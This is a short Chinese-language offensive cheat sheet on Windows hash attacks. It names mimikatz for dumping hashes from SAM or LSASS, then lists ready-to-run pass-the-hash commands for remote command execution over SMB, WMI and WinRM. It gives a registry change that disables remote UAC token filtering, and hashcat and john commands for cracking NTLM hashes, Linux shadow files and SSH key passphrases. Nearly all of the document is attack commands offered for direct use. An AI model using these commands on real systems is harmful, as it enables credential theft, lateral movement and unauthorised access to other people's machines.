# Hash攻击

从SAM数据库中或者LSASS内存中获取hash：`mimikatz`

pass the hash攻击原理及利用方法：`PTH、Impacket`

其他利用方式举例：

```bash
pth-winexe -U <user>%<LM>:<NTLM> //<IP> cmd
exploit/windows/smb/psexe
crackmapexec smb -u administrator -H <NTLM> --local-auth <IP>
crackmapexec smb -u administrator -H <NTLM> -d . <IP>
crackmapexec smb -u administrator -H <NTLM> -x 'whoami' <IP>
impacket-wmiexec administrator@<IP> -hashes <LM>:<NTLM>
evil-winrm -i <IP> -u user -H <NTLM>
smbclient //<IP>/c$ -U <user> --pw-nt-hash <NTLM> -W <domain>  # smb服务
```

#### 远程UAC报错rpc\_s\_access\_denied

```sh
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

#### NTLMhash破解：

```sh
hashcat -m 1000 <hash.txt> <pass.txt> --force
john --wordlist=<pass.txt> <hash.txt> --format=NT
```

#### Linux密码破解：

```sh
unshadow passwd.txt shadows.txt > unshadowed.txt    #整合两个文件
john --wordlist=<pass.txt> unshadowed.txt
```

#### 破解ssh私钥保护密码

```sh
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=<pass.txt>
hashcat -m 22921 ssh.hash <pass.txt> -r ssh.rule --force
```
